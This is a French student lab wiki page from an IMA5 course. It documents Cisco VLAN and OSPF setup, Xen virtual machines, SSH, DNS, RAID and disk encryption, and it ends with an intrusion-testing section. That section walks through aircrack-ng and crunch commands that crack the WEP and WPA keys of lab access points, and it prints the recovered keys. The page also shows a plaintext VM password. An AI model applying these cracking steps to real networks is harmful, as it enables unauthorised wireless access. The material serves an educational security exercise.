TP sysres IMA5 2021/2022 G7

De Wiki d'activités IMA
Révision datée du 10 janvier 2022 à 16:09 par Avercaem (discussion | contributions) (Chiffrement de données)

PRA 2021-2022 Arthur Vercaemst - Johnny Gouvaert

Répartition travail

Architecture réseau

Configuration IPV4

Paramétrage des VLANs

9200 Nous avons pris la tache de configurer le routeur cisco 9200 de la salle E-306

Dans un premier temps, nous avons créé le VLAN 42. Ce VLAN permet l'accès au routeur 9200 depuis les VMs Il est donc connecté au port TenGigabitethernet1/1/2 (10G) sur lequel est branchée un fibre venant du serveur capbreton.

enable
  conf t
    vlan 42
      exit
    int vlan 42
      no shut
      ip address 193.48.57.188  255.255.255.192
      ipv6 enable
      ipv6 address 2001:7A8:116E:60B0::F1/64 eui-64
      exit
    int TenGigabitethernet1/1/2
      no shut
      switchport mode access
      switchport access vlan 42
      exit
    exit
  write

Ensuite, nous avons créé et configuré le VLAN 531. Ce vlan est relié par fibre au routeur de l'ecole pour l'accès internet

enable
 conf t
   vlan 531
     exit
   int vlan 531
     no shut
     ip address 192.168.222.42 255.255.255.248
     exit
   int TenGigabitethernet1/1/1
     no shut
     switchport mode access
     switchport access vlan 531
     exit
   exit
 write

OPSF

OSPF (Open Shortest Path First) à chaque routeur de partager sa connaissance de la topologie du réseau, de cette manière on rends possible un routage plus dynamique sur notre infrastructure.

router ospf 1                                                                                                                                    
router-id 10.00.0.1                                   
log-adjacency-changes                                                                                  
summary-address 193.48.57.176 255.255.255.240                                                                                                         
summary-address 100.64.0.0 255.240.0.0 not-advertise  
summary-address 10.0.0.0 255.0.0.0 not-advertise                                                                                                    
redistribute connected subnets                       
redistribute static subnets                                                                                                                         
network 192.168.222.8 0.0.0.7 area 2

Installation des systèmes d’exploitation

Installation dans la machine virtuelle Xen

Après problème dû au l'utilisation de la commande su au lieux de su - nous avons créé notre image de notre VM

xen-create-image --hostname=Anosteke --ip=193.48.57.182 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye

Nous créons ensuite les 2 disques virtuels

lvcreate -L10G -n Anosteke1 storage
lvcreate -L10G -n Anosteke2 storage

Puis nous les formatons

mkfs.ext4 /dev/storage/Anosteke1
mkfs.ext4 /dev/storage/Anosteke2

Nous ajoutons les 2 disques au fichier de configuration de notre VM

nano /etc/xen/Anosteke.cfg
disk        = [
                'file:/usr/local/xen/domains/Bellerose/disk.img,xvda2,w',
                'file:/usr/local/xen/domains/Bellerose/swap.img,xvda1,w',
                'phy:/dev/storage/Anosteke1,xvda3,w',
                'phy:/dev/storage/Anosteke2,xvda4,w'
             ]
vif         = [ 'ip=193.48.57.182 ,mac=00:16:3E:AA:F5:2B ,bridge=IMA5sc' ]

On peut ensuite démarrer notre VM

xl create -c /etc/xen/AnosTeke.cfg

Pour enfin configurer nos espaces disque, en commençant par créer et monter nos espaces

mkdir /mnt/xvda3
mkdir /mnt/xvda4
mount /dev/xvda3 /mnt/xvda3
mount /dev/xvda4 /mnt/xvda4
mv /var/* /mnt/xvda4

Pour finaliser le montage des espaces, on modifie le fichier /etc/fstab pour y ajouter nos emplacements

/dev/xvda3 /home ext4 defaults 0 2
/dev/xvda4 /var ext4 defaults 0 2

On les configure DUMP disabled et Fsck 2. On peut finalement lancer le MOUNT

mount -a

et vérifier la bonne execution

lsblk

NAME  MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT
xvda1 202:1    0  512M  0 disk [SWAP]
xvda2 202:2    0    4G  0 disk /
xvda3 202:3    0   10G  0 disk /home
xvda4 202:4    0   10G  0 disk /var

sur le serveur nous pouvons vérifier que notre machine existe :

xen-list-images | grep Name: %nom de la vm%
lsblk | grep %nom de la vm%

et finalement pour lister les machines en fonctionnement

xen list

On peut ensuite se connecter à la machine

xen console Anosteke

On en profite pour ajouter un nouvel utilisateur

sudo adduser pifou

Et installer les paquets

apt-get update
apt-get upgrade

Services Internet

Serveur SSH

On vérifie que OpenSSH est installé

ssh -V

Si il ne l'est pas on l'install.

sudo apt install openssh-server

Pour lancer et arreter le service SSH :

sudo service ssh stop
sudo service ssh start

Pour desactiver le service :

sudo systemctl disable ssh

Pour connaitre l'état du service :

sudo systemctl status ssh

Il faut ensuite configurer ssh dans le fichier etc/ssh/sshd_config

/etc/ssh
├── ssh_config
├── sshd_config
├── ssh_host_rsa_key
└── ssh_host_rsa_key.pub

Dans ce fichier on modifie les paramètres suivants :

Port 22
LogLevel VERBOSE
PermitRootLogin no
Banner /etc/ssh/banner

On redemarre ensuite le service SSH

systemctl reaload ssh.service

Serveur DNS

On associe notre IP au nom de domaine depuis l'interface du fournisseur Gandi.Net

On install :

apt-get install bind9

On peut aussi installer le paquet dsnutils pour débugger le service DNS

Configuration du fichier /etc/bind/named.conf.options

listen-on {any;};
//allow-recursion  {localhost;};

On configure ensuite le bind de notre nom de domaine.

/etc/bind/db.anosteke59.site                        
$TTL 3600
@       IN      SOA     (
                       ns.anosteke.site.
                       ns6.gandi.net.
                       2;
                       3600;
                       3600;
                       3600;
                       3600;
                       )
        IN      NS      ns6.gandi.net. 
www     IN      A       193.48.57.182
ns      IN      CNAME   www


On vérifie que la configuration est cohérente à l'aide de

named-checkzone anosteke59.site /etc/bind/db.anosteke59.site 

On vérifie ensuite que le DNS fonctionne avec NSLOOKUP (Installer dnsutils sur la vm)

nslookup anosteke59.site 
dig anosteke59.site

Sécurisation de site par certificat

On crée une demande de certificat avec la commande :

openssl req -nodes -newkey rsa:2048 -sha256 -keyout anosteke59.key -out server.csr

le fichier CSR doit alors être envoyé à gandi pour créer notre certificat. Pour lancer la création de notre certificat on doit ajouter une entrée dans notre zone DNS. On attends ensuite le retour du certificat de gandi.

Sécurisation de serveur DNS par DNSSEC

Réalisation

Sécurisation de données

Sur le serveur Xen, on créer nos volumes.

lvcreate -L1G -nAnosteke-raid-1 storage
lvcreate -L1G -nAnosteke-raid-2 storage
lvcreate -L1G -nAnosteke-raid-3 storage

Qu'on ajoute à la configuration de notre VM

'phy:/dev/storage/Anosteke-raid-1,xvdb1,w',
'phy:/dev/storage/Anosteke-raid-2,xvdb2,w',
'phy:/dev/storage/Anosteke-raid-3,xvdb3,w'

Après un rédémarrage de la VM on execute

mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvdb1 /dev/xvdb2 /dev/xvdb3

On formate la partition:

mkfs.ext4 /dev/md0

On l'ajoute au fichier /etc/fstab pour qu'il soit monté à chaque démarrage de la vm :

/dev/md0 /media/raid ext4 defaults 0 1

et on valide les modifications:

mount -a

Chiffrement de données

Pour sécuriser une clé avec un mot de passe, nous avons utilisé cryptsetup. On s'assure d'abord de partir sur une clé toute propre :

   fdisk -l
   #sélection de la clé à formater
   fdisk /dev/sdb
   o #creation table MBR
   n #creation nouvelle partition
   w #écriture sur la clé

La commande crypsetup utilisée est la suivante :

   cryptsetup open --type plain /dev/sdb1 encryptedDevice
   #s'en suit une demande de mdp

Elle monte ensuite dans le dossier /dev/mapper et il devient possible de la formater :

   mkfs.ext4 /dev/mapper/encryptedDevice

Tests d’intrusion

WEP

On commence par casser la clé WEP.

airmon-ng

puis on lance

airmon-ng start wlan0mon 4

3 représente la channel utilisée par l'ap (ici 3)

Notre interface est renommée 'wlan0mon'. Pour visualiser les paquets sniffés, on execute alors

airodump-ng -c 4 wlan0mon

On observe plusieurs emetteurs, avec leur BSSID associé. On choisit d'attaquer cracotte07 dont le BSSID est 04:DA:D2:9C:50:56 On lance alors la commande :

airodump-ng -w dump -c 4 --bssid 04:DA:D2:9C:50:56 wlan0mon

Après quelques minutes, on execute :

aircrack-ng dump*.cap

Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée. Notre clé est : 55:55:55:55:5A:BC:08:CB:A4:44:44:44:44

WPA

On casse à présent la clé WPA. On scanne la bande de fréquence 9 :

airodump-ng -c 9 wlan0mon

On récupère le BSSID de kracotte07 : 44:AD:D9:5F:87:03 On récupère ensuite des handshakes avec la commande :

airodump-ng -c 9 --bssid 44:AD:D9:5F:87:03 -w dumpWPA wlan0mon

On utilise ensuite crunch pour générer la liste des mots de passe de 8 chiffres que l'on utilisera pour cracker la clé :

crunch 8 8 0123456789 -o password.lst

Enfin, on lance la commande :

aircrack-ng -w password.lst -b 44:AD:D9:5F:87:03 dumpWPA.cap

Le processus peut prendre plusieurs heures. On obtient le mot de passe suivant : 59904999

Intrusion sur un serveur d’application Web

Chiffrement de données

Inspection ARP par un élément réseau

Sécurisation WiFi par WPA2-EAP